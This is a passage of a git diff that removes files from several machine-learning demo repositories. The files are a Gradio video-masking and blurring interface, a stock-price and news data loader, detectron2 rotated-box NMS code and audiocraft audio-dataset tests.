-    click_state = gr.State([[], []])
-    interactive_state = gr.State(
-        {
-            "inference_times": 0,
-            "negative_click_times": 0,
-            "positive_click_times": 0,
-            "mask_save": args.mask_save,
-            "multi_mask": {"mask_names": [], "masks": []},
-            "track_end_number": None,
-            "resize_ratio": 1,
-            "blur_strength": 3,
-        }
-    )
-
-    video_state = gr.State(
-        {
-            "user_name": "",
-            "video_name": "",
-            "origin_images": None,
-            "painted_images": None,
-            "masks": None,
-            "blur_masks": None,
-            "logits": None,
-            "select_frame_number": 0,
-            "fps": 30,
-        }
-    )
-    gr.Markdown(title)
-    gr.Markdown(description)
-    with gr.Row():
-        # for user video input
-        with gr.Column():
-            with gr.Row():
-                video_input = gr.Video()
-                with gr.Column():
-                    video_info = gr.Textbox(label="Video Info")
-                    resize_info = gr.Textbox(
-                        value="You can use the resize ratio slider to scale down the original image to around 360P resolution for faster processing.",
-                        label="Tips for running this demo.",
-                    )
-                    resize_ratio_slider = gr.Slider(
-                        minimum=0.02,
-                        maximum=1,
-                        step=0.02,
-                        value=1,
-                        label="Resize ratio",
-                        visible=True,
-                    )
-
-            with gr.Row():
-                # put the template frame under the radio button
-                with gr.Column():
-                    # extract frames
-                    with gr.Column():
-                        extract_frames_button = gr.Button(
-                            value="Get video info", interactive=True, variant="primary"
-                        )
-
-                    # click points settins, negative or positive, mode continuous or single
-                    with gr.Row():
-                        with gr.Row():
-                            point_prompt = gr.Radio(
-                                choices=["Positive", "Negative"],
-                                value="Positive",
-                                label="Point Prompt",
-                                interactive=True,
-                                visible=False,
-                            )
-                            remove_mask_button = gr.Button(
-                                value="Remove mask", interactive=True, visible=False
-                            )
-                            clear_button_click = gr.Button(
-                                value="Clear Clicks", interactive=True, visible=False
-                            )
-                            Add_mask_button = gr.Button(
-                                value="Add mask", interactive=True, visible=False
-                            )
-                    template_frame = gr.Image(
-                        type="pil",
-                        interactive=True,
-                        elem_id="template_frame",
-                        visible=False,
-                    )
-                    image_selection_slider = gr.Slider(
-                        minimum=1,
-                        maximum=100,
-                        step=1,
-                        value=1,
-                        label="Image Selection",
-                        visible=False,
-                    )
-                    track_pause_number_slider = gr.Slider(
-                        minimum=1,
-                        maximum=100,
-                        step=1,
-                        value=1,
-                        label="Track end frames",
-                        visible=False,
-                    )
-
-                with gr.Column():
-                    run_status = gr.HighlightedText(
-                        value=[
-                            ("Text", "Error"),
-                            ("to be", "Label 2"),
-                            ("highlighted", "Label 3"),
-                        ],
-                        visible=False,
-                    )
-                    mask_dropdown = gr.Dropdown(
-                        multiselect=True,
-                        value=[],
-                        label="Mask selection",
-                        info=".",
-                        visible=False,
-                    )
-                    video_output = gr.Video(visible=False)
-                    with gr.Row():
-                        tracking_video_predict_button = gr.Button(
-                            value="Tracking", visible=False
-                        )
-                        blur_video_predict_button = gr.Button(
-                            value="Blur", visible=False
-                        )
-                    with gr.Row():
-                        blur_strength_slider = gr.Slider(
-                            minimum=3,
-                            maximum=15,
-                            step=2,
-                            value=3,
-                            label="Blur Strength",
-                            visible=False,
-                        )
-
-    # first step: get the video information
-    extract_frames_button.click(
-        fn=get_frames_from_video,
-        inputs=[video_input, video_state],
-        outputs=[
-            video_state,
-            video_info,
-            template_frame,
-            image_selection_slider,
-            track_pause_number_slider,
-            point_prompt,
-            clear_button_click,
-            Add_mask_button,
-            template_frame,
-            tracking_video_predict_button,
-            video_output,
-            mask_dropdown,
-            remove_mask_button,
-            blur_video_predict_button,
-            blur_strength_slider,
-            run_status,
-        ],
-    )
-
-    # second step: select images from slider
-    image_selection_slider.release(
-        fn=select_template,
-        inputs=[image_selection_slider, video_state, interactive_state],
-        outputs=[template_frame, video_state, interactive_state, run_status],
-        api_name="select_image",
-    )
-    track_pause_number_slider.release(
-        fn=set_end_number,
-        inputs=[track_pause_number_slider, video_state, interactive_state],
-        outputs=[interactive_state, run_status],
-        api_name="end_image",
-    )
-    resize_ratio_slider.release(
-        fn=get_resize_ratio,
-        inputs=[resize_ratio_slider, interactive_state],
-        outputs=[interactive_state],
-        api_name="resize_ratio",
-    )
-
-    blur_strength_slider.release(
-        fn=get_blur_strength,
-        inputs=[blur_strength_slider, interactive_state],
-        outputs=[interactive_state],
-        api_name="blur_strength",
-    )
-
-    # click select image to get mask using sam
-    template_frame.select(
-        fn=sam_refine,
-        inputs=[video_state, point_prompt, click_state, interactive_state],
-        outputs=[template_frame, video_state, interactive_state, run_status],
-    )
-
-    # add different mask
-    Add_mask_button.click(
-        fn=add_multi_mask,
-        inputs=[video_state, interactive_state, mask_dropdown],
-        outputs=[
-            interactive_state,
-            mask_dropdown,
-            template_frame,
-            click_state,
-            run_status,
-        ],
-    )
-
-    remove_mask_button.click(
-        fn=remove_multi_mask,
-        inputs=[interactive_state, mask_dropdown],
-        outputs=[interactive_state, mask_dropdown, run_status],
-    )
-
-    # tracking video from select image and mask
-    tracking_video_predict_button.click(
-        fn=vos_tracking_video,
-        inputs=[video_state, interactive_state, mask_dropdown],
-        outputs=[video_output, video_state, interactive_state, run_status],
-    )
-
-    # tracking video from select image and mask
-    blur_video_predict_button.click(
-        fn=blur_video,
-        inputs=[video_state, interactive_state, mask_dropdown],
-        outputs=[video_output, video_state, interactive_state, run_status],
-    )
-
-    # click to get mask
-    mask_dropdown.change(
-        fn=show_mask,
-        inputs=[video_state, interactive_state, mask_dropdown],
-        outputs=[template_frame, run_status],
-    )
-
-    # clear input
-    video_input.clear(
-        lambda: (
-            {
-                "user_name": "",
-                "video_name": "",
-                "origin_images": None,
-                "painted_images": None,
-                "masks": None,
-                "blur_masks": None,
-                "logits": None,
-                "select_frame_number": 0,
-                "fps": 30,
-            },
-            {
-                "inference_times": 0,
-                "negative_click_times": 0,
-                "positive_click_times": 0,
-                "mask_save": args.mask_save,
-                "multi_mask": {"mask_names": [], "masks": []},
-                "track_end_number": 0,
-                "resize_ratio": 1,
-                "blur_strength": 3,
-            },
-            [[], []],
-            None,
-            None,
-            gr.update(visible=False),
-            gr.update(visible=False),
-            gr.update(visible=False),
-            gr.update(visible=False),
-            gr.update(visible=False),
-            gr.update(visible=False),
-            gr.update(visible=False),
-            gr.update(visible=False),
-            gr.update(visible=False),
-            gr.update(visible=False, value=[]),
-            gr.update(visible=False),
-            gr.update(visible=False),
-            gr.update(visible=False),
-        ),
-        [],
-        [
-            video_state,
-            interactive_state,
-            click_state,
-            video_output,
-            template_frame,
-            tracking_video_predict_button,
-            image_selection_slider,
-            track_pause_number_slider,
-            point_prompt,
-            clear_button_click,
-            Add_mask_button,
-            template_frame,
-            tracking_video_predict_button,
-            video_output,
-            mask_dropdown,
-            remove_mask_button,
-            blur_video_predict_button,
-            blur_strength_slider,
-            run_status,
-        ],
-        queue=False,
-        show_progress=False,
-    )
-
-    # points clear
-    clear_button_click.click(
-        fn=clear_click,
-        inputs=[
-            video_state,
-            click_state,
-        ],
-        outputs=[template_frame, click_state, run_status],
-    )
-    # set example
-    gr.Markdown("##  Examples")
-    gr.Examples(
-        examples=[
-            os.path.join(os.path.dirname(__file__), "./data/", test_sample)
-            for test_sample in [
-                "sample-1.mp4",
-                "sample-2.mp4",
-            ]
-        ],
-        fn=run_example,
-        inputs=[video_input],
-        outputs=[video_input],
-    )
-iface.queue(concurrency_count=1)
-iface.launch(
-    debug=True, enable_queue=True
-)
diff --git a/spaces/Yilin98/Stock_Prediction/data_loader_functions.py b/spaces/Yilin98/Stock_Prediction/data_loader_functions.py
deleted file mode 100644
index ceb5f4e30eee11ffb4308823d08f3dfb4681e083..0000000000000000000000000000000000000000
--- a/spaces/Yilin98/Stock_Prediction/data_loader_functions.py
+++ /dev/null
@@ -1,118 +0,0 @@
-from bs4 import BeautifulSoup
-import requests
-import pandas as pd
-import itertools
-import yfinance as yf
-
-import hopsworks
-
-from datetime import datetime, timedelta
-
-## Fetch stock price data from Yahoo Finance
-def get_stock_price(ticker, start_date, end_date):
-  company = 'APPLE'
-  if ticker == 'AMAZ':
-    company = 'AMAZON'
-  elif ticker == 'META':
-    company = 'META'
-  stock_df = yf.download(ticker, start=start_date, end=end_date)
-  stock_df = stock_df.reset_index(level=0)
-  stock_df.columns = stock_df.columns.str.lower()
-  stock_df.rename(columns={'adj close': 'adj_close'}, inplace=True)
-  stock_df.insert(0, 'name', company)
-  stock_df['date'] = pd.to_datetime(stock_df.date).dt.tz_localize(None)
-  return stock_df
-
-## Fetch stock news from hopsworks
-def time_2_datetime(x):
-    
-    dt_obj = datetime.fromtimestamp(x / 1000)
-    return dt_obj
-
-def get_stock_price_from_hopsworks(name):
-  project = hopsworks.login()
-  fs = project.get_feature_store() 
-  stock_fg = fs.get_feature_group(name="stocks_fg", version=1)  
-  query = stock_fg.select_all()
-  stock_df = query.read()
-  stock_df = stock_df.loc[stock_df['name'] == name.upper()]
-  stock_df['date'] = stock_df['date'].apply(time_2_datetime)
-  stock_df = stock_df.sort_values(by='date')
-  return stock_df.head(1)
-
-## Scrape stock news from investing.com
-def get_articles_urls(company,startpage, endpage):
-  urls=[]
-  for page in range(startpage, endpage):
-    if page % 100 == 0:
-      print(page)
-    url = f"https://www.investing.com/equities/{company}-inc-news/{page}"
-    page=requests.get(url)
-    soup=BeautifulSoup(page.text,'html.parser')
-    for elt in soup.find_all('div',attrs={'class':'mediumTitle1'})[1].find_all('article'):
-        urls.append('https://www.investing.com/'+elt.find('a')['href'])
-  return list(itertools.filterfalse(lambda x: x.startswith('https://www.investing.com//pro/offers'), urls))
-
-def scrape_news(urls, df, company):
-  for url in urls:
-    page = requests.get(url)
-    soup=BeautifulSoup(page.text,'html.parser')
-    if type(soup.find('h1',attrs={'class':'articleHeader'})) is type(None):
-      print(url)
-      continue
-    Title=soup.find('h1',attrs={'class':'articleHeader'}).text.strip()
-    Date=soup.find('div',attrs={'class':'contentSectionDetails'}).find("span").text.strip()
-    Article=' '.join([x.get_text() for x in soup.find('div',attrs={'class':'WYSIWYG articlePage'}).find_all("p")]).replace('Position added successfully to:','').strip()
-    tmpdic = {'ticker': company, 'publish_date': Date, 'title': Title, 'body_text': Article, 'url': url}
-    df=df.append(pd.DataFrame(tmpdic, index=[0]))
-  return df
-
-## Fetch stock news from hopsworks
-def get_news_from_hopsworks():
-  project = hopsworks.login()
-  fs = project.get_feature_store() 
-  news_fg = fs.get_feature_group(name="market_news_fg_for_three", version=1)  
-  # try: 
-  #   feature_view = fs.get_feature_view(name="market_news", version=1)
-  # except:
-  #   news_fg = fs.get_feature_group(name="market_news_fg", version=1)
-  #   query = news_fg.select_all()
-  #   feature_view = fs.create_feature_view(name="market_news",
-  #                                         version=1,
-  #                                         description="Read from market_news_fg",
-  #                                         query=query)
-  query = news_fg.select_all()
-  return query.read()
-
-## Fetch history prediction plot
-def get_history_plot_from_hopsworks(ticker):
-  project = hopsworks.login()
-  dataset_api = project.get_dataset_api()
-  if ticker == 'AAPL':
-    dataset_api.download("Resources/images/apple_stock_prediction.png", overwrite=True)
-  elif ticker == 'AMZN':
-    dataset_api.download("Resources/images/amazon_stock_prediction.png", overwrite=True)
-  else:
-    dataset_api.download("Resources/images/meta_stock_prediction.png", overwrite=True)
-  return
-
-## Formalize the date column
-def remove_parentheses(s):
-  if '(' in s:
-    return s[s.find("(")+1:s.find(")")]
-  else:
-      return s
-def change_date_format(df):
-  if df['publish_date'].dtype == object:
-    df.publish_date = df.publish_date.apply(remove_parentheses)
-    df['publish_date'] = pd.to_datetime(df['publish_date'], format='%b %d, %Y %I:%M%p ET')
-  return df
-
-def select_oneday_news(df, day):
-  df_copy = df.copy()
-  df['date'] = change_date_format(df_copy)['publish_date']
-  df['date'] = df['date'].apply(lambda x : x.date())
-  df = df.loc[df['date'] == day.date()]
-  df = df.drop('date', axis=1)
-  return df
-
diff --git a/spaces/Yiqin/ChatVID/model/vision/grit_src/third_party/CenterNet2/detectron2/layers/nms.py b/spaces/Yiqin/ChatVID/model/vision/grit_src/third_party/CenterNet2/detectron2/layers/nms.py
deleted file mode 100644
index 6b6be71c7832d188aaa20bd7e1b16964cab7a731..0000000000000000000000000000000000000000
--- a/spaces/Yiqin/ChatVID/model/vision/grit_src/third_party/CenterNet2/detectron2/layers/nms.py
+++ /dev/null
@@ -1,139 +0,0 @@
-# -*- coding: utf-8 -*-
-# Copyright (c) Facebook, Inc. and its affiliates.
-
-import torch
-from torchvision.ops import boxes as box_ops
-from torchvision.ops import nms  # noqa . for compatibility
-
-
-def batched_nms(
-    boxes: torch.Tensor, scores: torch.Tensor, idxs: torch.Tensor, iou_threshold: float
-):
-    """
-    Same as torchvision.ops.boxes.batched_nms, but with float().
-    """
-    assert boxes.shape[-1] == 4
-    # Note: Torchvision already has a strategy (https://github.com/pytorch/vision/issues/1311)
-    # to decide whether to use coordinate trick or for loop to implement batched_nms. So we
-    # just call it directly.
-    # Fp16 does not have enough range for batched NMS, so adding float().
-    return box_ops.batched_nms(boxes.float(), scores, idxs, iou_threshold)
-
-
-# Note: this function (nms_rotated) might be moved into
-# torchvision/ops/boxes.py in the future
-def nms_rotated(boxes, scores, iou_threshold):
-    """
-    Performs non-maximum suppression (NMS) on the rotated boxes according
-    to their intersection-over-union (IoU).
-
-    Rotated NMS iteratively removes lower scoring rotated boxes which have an
-    IoU greater than iou_threshold with another (higher scoring) rotated box.
-
-    Note that RotatedBox (5, 3, 4, 2, -90) covers exactly the same region as
-    RotatedBox (5, 3, 4, 2, 90) does, and their IoU will be 1. However, they
-    can be representing completely different objects in certain tasks, e.g., OCR.
-
-    As for the question of whether rotated-NMS should treat them as faraway boxes
-    even though their IOU is 1, it depends on the application and/or ground truth annotation.
-
-    As an extreme example, consider a single character v and the square box around it.
-
-    If the angle is 0 degree, the object (text) would be read as 'v';
-
-    If the angle is 90 degrees, the object (text) would become '>';
-
-    If the angle is 180 degrees, the object (text) would become '^';
-
-    If the angle is 270/-90 degrees, the object (text) would become '<'
-
-    All of these cases have IoU of 1 to each other, and rotated NMS that only
-    uses IoU as criterion would only keep one of them with the highest score -
-    which, practically, still makes sense in most cases because typically
-    only one of theses orientations is the correct one. Also, it does not matter
-    as much if the box is only used to classify the object (instead of transcribing
-    them with a sequential OCR recognition model) later.
-
-    On the other hand, when we use IoU to filter proposals that are close to the
-    ground truth during training, we should definitely take the angle into account if
-    we know the ground truth is labeled with the strictly correct orientation (as in,
-    upside-down words are annotated with -180 degrees even though they can be covered
-    with a 0/90/-90 degree box, etc.)
-
-    The way the original dataset is annotated also matters. For example, if the dataset
-    is a 4-point polygon dataset that does not enforce ordering of vertices/orientation,
-    we can estimate a minimum rotated bounding box to this polygon, but there's no way
-    we can tell the correct angle with 100% confidence (as shown above, there could be 4 different
-    rotated boxes, with angles differed by 90 degrees to each other, covering the exactly
-    same region). In that case we have to just use IoU to determine the box
-    proximity (as many detection benchmarks (even for text) do) unless there're other
-    assumptions we can make (like width is always larger than height, or the object is not
-    rotated by more than 90 degrees CCW/CW, etc.)
-
-    In summary, not considering angles in rotated NMS seems to be a good option for now,
-    but we should be aware of its implications.
-
-    Args:
-        boxes (Tensor[N, 5]): Rotated boxes to perform NMS on. They are expected to be in
-           (x_center, y_center, width, height, angle_degrees) format.
-        scores (Tensor[N]): Scores for each one of the rotated boxes
-        iou_threshold (float): Discards all overlapping rotated boxes with IoU < iou_threshold
-
-    Returns:
-        keep (Tensor): int64 tensor with the indices of the elements that have been kept
-        by Rotated NMS, sorted in decreasing order of scores
-    """
-    return torch.ops.detectron2.nms_rotated(boxes, scores, iou_threshold)
-
-
-# Note: this function (batched_nms_rotated) might be moved into
-# torchvision/ops/boxes.py in the future
-def batched_nms_rotated(boxes, scores, idxs, iou_threshold):
-    """
-    Performs non-maximum suppression in a batched fashion.
-
-    Each index value correspond to a category, and NMS
-    will not be applied between elements of different categories.
-
-    Args:
-        boxes (Tensor[N, 5]):
-           boxes where NMS will be performed. They
-           are expected to be in (x_ctr, y_ctr, width, height, angle_degrees) format
-        scores (Tensor[N]):
-           scores for each one of the boxes
-        idxs (Tensor[N]):
-           indices of the categories for each one of the boxes.
-        iou_threshold (float):
-           discards all overlapping boxes
-           with IoU < iou_threshold
-
-    Returns:
-        Tensor:
-            int64 tensor with the indices of the elements that have been kept
-            by NMS, sorted in decreasing order of scores
-    """
-    assert boxes.shape[-1] == 5
-
-    if boxes.numel() == 0:
-        return torch.empty((0,), dtype=torch.int64, device=boxes.device)
-    boxes = boxes.float()  # fp16 does not have enough range for batched NMS
-    # Strategy: in order to perform NMS independently per class,
-    # we add an offset to all the boxes. The offset is dependent
-    # only on the class idx, and is large enough so that boxes
-    # from different classes do not overlap
-
-    # Note that batched_nms in torchvision/ops/boxes.py only uses max_coordinate,
-    # which won't handle negative coordinates correctly.
-    # Here by using min_coordinate we can make sure the negative coordinates are
-    # correctly handled.
-    max_coordinate = (
-        torch.max(boxes[:, 0], boxes[:, 1]) + torch.max(boxes[:, 2], boxes[:, 3]) / 2
-    ).max()
-    min_coordinate = (
-        torch.min(boxes[:, 0], boxes[:, 1]) - torch.max(boxes[:, 2], boxes[:, 3]) / 2
-    ).min()
-    offsets = idxs.to(boxes) * (max_coordinate - min_coordinate + 1)
-    boxes_for_nms = boxes.clone()  # avoid modifying the original values in boxes
-    boxes_for_nms[:, :2] += offsets[:, None]
-    keep = nms_rotated(boxes_for_nms, scores, iou_threshold)
-    return keep
diff --git a/spaces/Yudha515/Rvc-Models/tests/data/test_audio_dataset.py b/spaces/Yudha515/Rvc-Models/tests/data/test_audio_dataset.py
deleted file mode 100644
index b69c9c397830738b73d6c229009f84b867cda801..0000000000000000000000000000000000000000
--- a/spaces/Yudha515/Rvc-Models/tests/data/test_audio_dataset.py
+++ /dev/null
@@ -1,352 +0,0 @@
-# Copyright (c) Meta Platforms, Inc. and affiliates.
-# All rights reserved.
-#
-# This source code is licensed under the license found in the
-# LICENSE file in the root directory of this source tree.
-
-from functools import partial
-from itertools import product
-import json
-import math
-import os
-import random
-import typing as tp
-
-import pytest
-import torch
-from torch.utils.data import DataLoader
-
-from audiocraft.data.audio_dataset import (
-    AudioDataset,
-    AudioMeta,
-    _get_audio_meta,
-    load_audio_meta,
-    save_audio_meta
-)
-from audiocraft.data.zip import PathInZip
-
-from ..common_utils import TempDirMixin, get_white_noise, save_wav
-
-
-class TestAudioMeta(TempDirMixin):
-
-    def test_get_audio_meta(self):
-        sample_rates = [8000, 16_000]
-        channels = [1, 2]
-        duration = 1.
-        for sample_rate, ch in product(sample_rates, channels):
-            n_frames = int(duration * sample_rate)
-            wav = get_white_noise(ch, n_frames)
-            path = self.get_temp_path('sample.wav')
-            save_wav(path, wav, sample_rate)
-            m = _get_audio_meta(path, minimal=True)
-            assert m.path == path, 'path does not match'
-            assert m.sample_rate == sample_rate, 'sample rate does not match'
-            assert m.duration == duration, 'duration does not match'
-            assert m.amplitude is None
-            assert m.info_path is None
-
-    def test_save_audio_meta(self):
-        audio_meta = [
-            AudioMeta("mypath1", 1., 16_000, None, None, PathInZip('/foo/bar.zip:/relative/file1.json')),
-            AudioMeta("mypath2", 2., 16_000, None, None, PathInZip('/foo/bar.zip:/relative/file2.json'))
-            ]
-        empty_audio_meta = []
-        for idx, meta in enumerate([audio_meta, empty_audio_meta]):
-            path = self.get_temp_path(f'data_{idx}_save.jsonl')
-            save_audio_meta(path, meta)
-            with open(path, 'r') as f:
-                lines = f.readlines()
-                read_meta = [AudioMeta.from_dict(json.loads(line)) for line in lines]
-                assert len(read_meta) == len(meta)
-                for m, read_m in zip(meta, read_meta):
-                    assert m == read_m
-
-    def test_load_audio_meta(self):
-        try:
-            import dora
-        except ImportError:
-            dora = None  # type: ignore
-
-        audio_meta = [
-            AudioMeta("mypath1", 1., 16_000, None, None, PathInZip('/foo/bar.zip:/relative/file1.json')),
-            AudioMeta("mypath2", 2., 16_000, None, None, PathInZip('/foo/bar.zip:/relative/file2.json'))
-            ]
-        empty_meta = []
-        for idx, meta in enumerate([audio_meta, empty_meta]):
-            path = self.get_temp_path(f'data_{idx}_load.jsonl')
-            with open(path, 'w') as f:
-                for m in meta:
-                    json_str = json.dumps(m.to_dict()) + '\n'
-                    f.write(json_str)
-            read_meta = load_audio_meta(path)
-            assert len(read_meta) == len(meta)
-            for m, read_m in zip(meta, read_meta):
-                if dora:
-                    m.path = dora.git_save.to_absolute_path(m.path)
-                assert m == read_m, f'original={m}, read={read_m}'
-
-
-class TestAudioDataset(TempDirMixin):
-
-    def _create_audio_files(self,
-                            root_name: str,
-                            num_examples: int,
-                            durations: tp.Union[float, tp.Tuple[float, float]] = (0.1, 1.),
-                            sample_rate: int = 16_000,
-                            channels: int = 1):
-        root_dir = self.get_temp_dir(root_name)
-        for i in range(num_examples):
-            if isinstance(durations, float):
-                duration = durations
-            elif isinstance(durations, tuple) and len(durations) == 1:
-                duration = durations[0]
-            elif isinstance(durations, tuple) and len(durations) == 2:
-                duration = random.uniform(durations[0], durations[1])
-            else:
-                assert False
-            n_frames = int(duration * sample_rate)
-            wav = get_white_noise(channels, n_frames)
-            path = os.path.join(root_dir, f'example_{i}.wav')
-            save_wav(path, wav, sample_rate)
-        return root_dir
-
-    def _create_audio_dataset(self,
-                              root_name: str,
-                              total_num_examples: int,
-                              durations: tp.Union[float, tp.Tuple[float, float]] = (0.1, 1.),
-                              sample_rate: int = 16_000,
-                              channels: int = 1,
-                              segment_duration: tp.Optional[float] = None,
-                              num_examples: int = 10,
-                              shuffle: bool = True,
-                              return_info: bool = False):
-        root_dir = self._create_audio_files(root_name, total_num_examples, durations, sample_rate, channels)
-        dataset = AudioDataset.from_path(root_dir,
-                                         minimal_meta=True,
-                                         segment_duration=segment_duration,
-                                         num_samples=num_examples,
-                                         sample_rate=sample_rate,
-                                         channels=channels,
-                                         shuffle=shuffle,
-                                         return_info=return_info)
-        return dataset
-
-    def test_dataset_full(self):
-        total_examples = 10
-        min_duration, max_duration = 1., 4.
-        sample_rate = 16_000
-        channels = 1
-        dataset = self._create_audio_dataset(
-            'dset', total_examples, durations=(min_duration, max_duration),
-            sample_rate=sample_rate, channels=channels, segment_duration=None)
-        assert len(dataset) == total_examples
-        assert dataset.sample_rate == sample_rate
-        assert dataset.channels == channels
-        for idx in range(len(dataset)):
-            sample = dataset[idx]
-            assert sample.shape[0] == channels
-            assert sample.shape[1] <= int(max_duration * sample_rate)
-            assert sample.shape[1] >= int(min_duration * sample_rate)
-
-    def test_dataset_segment(self):
-        total_examples = 10
-        num_samples = 20
-        min_duration, max_duration = 1., 4.
-        segment_duration = 1.
-        sample_rate = 16_000
-        channels = 1
-        dataset = self._create_audio_dataset(
-            'dset', total_examples, durations=(min_duration, max_duration), sample_rate=sample_rate,
-            channels=channels, segment_duration=segment_duration, num_examples=num_samples)
-        assert len(dataset) == num_samples
-        assert dataset.sample_rate == sample_rate
-        assert dataset.channels == channels
-        for idx in range(len(dataset)):
-            sample = dataset[idx]
-            assert sample.shape[0] == channels
-            assert sample.shape[1] == int(segment_duration * sample_rate)
-
-    def test_dataset_equal_audio_and_segment_durations(self):
-        total_examples = 1
-        num_samples = 2
-        audio_duration = 1.
-        segment_duration = 1.
-        sample_rate = 16_000
-        channels = 1
-        dataset = self._create_audio_dataset(
-            'dset', total_examples, durations=audio_duration, sample_rate=sample_rate,
-            channels=channels, segment_duration=segment_duration, num_examples=num_samples)
-        assert len(dataset) == num_samples
-        assert dataset.sample_rate == sample_rate
-        assert dataset.channels == channels
-        for idx in range(len(dataset)):
-            sample = dataset[idx]
-            assert sample.shape[0] == channels
-            assert sample.shape[1] == int(segment_duration * sample_rate)
-        # the random seek_time adds variability on audio read
-        sample_1 = dataset[0]
-        sample_2 = dataset[1]
-        assert not torch.allclose(sample_1, sample_2)
-
-    def test_dataset_samples(self):
-        total_examples = 1
-        num_samples = 2
-        audio_duration = 1.
-        segment_duration = 1.
-        sample_rate = 16_000
-        channels = 1
-
-        create_dataset = partial(
-            self._create_audio_dataset,
-            'dset', total_examples, durations=audio_duration, sample_rate=sample_rate,
-            channels=channels, segment_duration=segment_duration, num_examples=num_samples,
-        )
-
-        dataset = create_dataset(shuffle=True)
-        # when shuffle = True, we have different inputs for the same index across epoch
-        sample_1 = dataset[0]
-        sample_2 = dataset[0]
-        assert not torch.allclose(sample_1, sample_2)
-
-        dataset_noshuffle = create_dataset(shuffle=False)
-        # when shuffle = False, we have same inputs for the same index across epoch
-        sample_1 = dataset_noshuffle[0]
-        sample_2 = dataset_noshuffle[0]
-        assert torch.allclose(sample_1, sample_2)
-
-    def test_dataset_return_info(self):
-        total_examples = 10
-        num_samples = 20
-        min_duration, max_duration = 1., 4.
-        segment_duration = 1.
-        sample_rate = 16_000
-        channels = 1
-        dataset = self._create_audio_dataset(
-            'dset', total_examples, durations=(min_duration, max_duration), sample_rate=sample_rate,
-            channels=channels, segment_duration=segment_duration, num_examples=num_samples, return_info=True)
-        assert len(dataset) == num_samples
-        assert dataset.sample_rate == sample_rate
-        assert dataset.channels == channels
-        for idx in range(len(dataset)):
-            sample, segment_info = dataset[idx]
-            assert sample.shape[0] == channels
-            assert sample.shape[1] == int(segment_duration * sample_rate)
-            assert segment_info.sample_rate == sample_rate
-            assert segment_info.total_frames == int(segment_duration * sample_rate)
-            assert segment_info.n_frames <= int(segment_duration * sample_rate)
-            assert segment_info.seek_time >= 0
-
-    def test_dataset_return_info_no_segment_duration(self):
-        total_examples = 10
-        num_samples = 20
-        min_duration, max_duration = 1., 4.
-        segment_duration = None
-        sample_rate = 16_000
-        channels = 1
-        dataset = self._create_audio_dataset(
-            'dset', total_examples, durations=(min_duration, max_duration), sample_rate=sample_rate,
-            channels=channels, segment_duration=segment_duration, num_examples=num_samples, return_info=True)
-        assert len(dataset) == total_examples
-        assert dataset.sample_rate == sample_rate
-        assert dataset.channels == channels
-        for idx in range(len(dataset)):
-            sample, segment_info = dataset[idx]
-            assert sample.shape[0] == channels
-            assert sample.shape[1] == segment_info.total_frames
-            assert segment_info.sample_rate == sample_rate
-            assert segment_info.n_frames <= segment_info.total_frames
-
-    def test_dataset_collate_fn(self):
-        total_examples = 10
-        num_samples = 20
-        min_duration, max_duration = 1., 4.
-        segment_duration = 1.
-        sample_rate = 16_000
-        channels = 1
-        dataset = self._create_audio_dataset(
-            'dset', total_examples, durations=(min_duration, max_duration), sample_rate=sample_rate,
-            channels=channels, segment_duration=segment_duration, num_examples=num_samples, return_info=False)
-        batch_size = 4
-        dataloader = DataLoader(
-            dataset,
-            batch_size=batch_size,
-            num_workers=0
-        )
-        for idx, batch in enumerate(dataloader):
-            assert batch.shape[0] == batch_size
-
-    @pytest.mark.parametrize("segment_duration", [1.0, None])
-    def test_dataset_with_meta_collate_fn(self, segment_duration):
-        total_examples = 10
-        num_samples = 20
-        min_duration, max_duration = 1., 4.
-        segment_duration = 1.
-        sample_rate = 16_000
-        channels = 1
-        dataset = self._create_audio_dataset(
-            'dset', total_examples, durations=(min_duration, max_duration), sample_rate=sample_rate,
-            channels=channels, segment_duration=segment_duration, num_examples=num_samples, return_info=True)
-        batch_size = 4
-        dataloader = DataLoader(
-            dataset,
-            batch_size=batch_size,
-            collate_fn=dataset.collater,
-            num_workers=0
-        )
-        for idx, batch in enumerate(dataloader):
-            wav, infos = batch
-            assert wav.shape[0] == batch_size
-            assert len(infos) == batch_size
-
-    @pytest.mark.parametrize("segment_duration,sample_on_weight,sample_on_duration,a_hist,b_hist,c_hist", [
-        [1, True, True, 0.5, 0.5, 0.0],
-        [1, False, True, 0.25, 0.5, 0.25],
-        [1, True, False, 0.666, 0.333, 0.0],
-        [1, False, False, 0.333, 0.333, 0.333],
-        [None, False, False, 0.333, 0.333, 0.333]])
-    def test_sample_with_weight(self, segment_duration, sample_on_weight, sample_on_duration, a_hist, b_hist, c_hist):
-        random.seed(1234)
-        rng = torch.Generator()
-        rng.manual_seed(1234)
-
-        def _get_histogram(dataset, repetitions=20_000):
-            counts = {file_meta.path: 0. for file_meta in meta}
-            for _ in range(repetitions):
-                file_meta = dataset.sample_file(rng)
-                counts[file_meta.path] += 1
-            return {name: count / repetitions for name, count in counts.items()}
-
-        meta = [
-           AudioMeta(path='a', duration=5, sample_rate=1, weight=2),
-           AudioMeta(path='b', duration=10, sample_rate=1, weight=None),
-           AudioMeta(path='c', duration=5, sample_rate=1, weight=0),
-        ]
-        dataset = AudioDataset(
-            meta, segment_duration=segment_duration, sample_on_weight=sample_on_weight,
-            sample_on_duration=sample_on_duration)
-        hist = _get_histogram(dataset)
-        assert math.isclose(hist['a'], a_hist, abs_tol=0.01)
-        assert math.isclose(hist['b'], b_hist, abs_tol=0.01)
-        assert math.isclose(hist['c'], c_hist, abs_tol=0.01)
-
-    def test_meta_duration_filter_all(self):
-        meta = [
-           AudioMeta(path='a', duration=5, sample_rate=1, weight=2),
-           AudioMeta(path='b', duration=10, sample_rate=1, weight=None),
-           AudioMeta(path='c', duration=5, sample_rate=1, weight=0),
-        ]
-        try:
-            AudioDataset(meta, segment_duration=11, min_segment_ratio=1)
-            assert False
-        except AssertionError:
-            assert True
-
-    def test_meta_duration_filter_long(self):
-        meta = [
-           AudioMeta(path='a', duration=5, sample_rate=1, weight=2),
-           AudioMeta(path='b', duration=10, sample_rate=1, weight=None),
-           AudioMeta(path='c', duration=5, sample_rate=1, weight=0),
-        ]
-        dataset = AudioDataset(meta, segment_duration=None, min_segment_ratio=1, max_audio_duration=7)
-        assert len(dataset) == 2
diff --git a/spaces/Yuzu22/rvc-models/config.py b/spaces/Yuzu22/rvc-models/config.py
deleted file mode 100644
index c0c16e0017efbcaf250cb539a1d0edb4e83575e4..0000000000000000000000000000000000000000
--- a/spaces/Yuzu22/rvc-models/config.py
+++ /dev/null
@@ -1,88 +0,0 @@
-########################硬件参数########################
-
